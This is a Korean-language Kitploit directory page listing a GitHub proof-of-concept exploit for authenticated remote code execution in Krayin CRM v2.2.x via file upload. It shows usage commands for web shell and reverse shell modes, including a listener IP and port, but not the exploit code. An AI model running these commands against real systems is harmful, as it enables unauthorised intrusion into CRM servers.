Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-38526 — Proof-of-concept exploit for authenticated remote code execution in Krayin CRM v2.2.x via unrestricted file upload, supporting web shell and reverse shell payloads. | Kitploit
도구/GitHubGitHub/qurclinc/cve-2026-38526
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubqurclinc/cve-2026-38526

CVE-2026-38526

Proof-of-concept exploit for authenticated remote code execution in Krayin CRM v2.2.x via unrestricted file upload, supporting web shell and reverse shell payloads.

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-38526 - Krayin CRM RCE

설명

Krayin CRM v2.2.x의 심각한 취약점에 대한 PoC 스크립트로, 제한 없는 파일 업로드를 통해 인증된 RCE를 허용합니다.

사용법

root@kitploit:~
# Web shell
python3 exploit.py -u http://target.com -e [email protected] -p password123

# Reverse shell
python3 exploit.py -u http://target.com -e [email protected] -p password123 -l 10.10.10.10 -P 4444

요구 사항

  • Python 3.8+
  • requests, bs4

면책 조항

교육 목적으로만 사용하십시오.

참고 자료

  • https://github.com/TREXNEGRO/Security-Advisories/blob/main/CVE-2026-38526/poc.md
도구 다운로드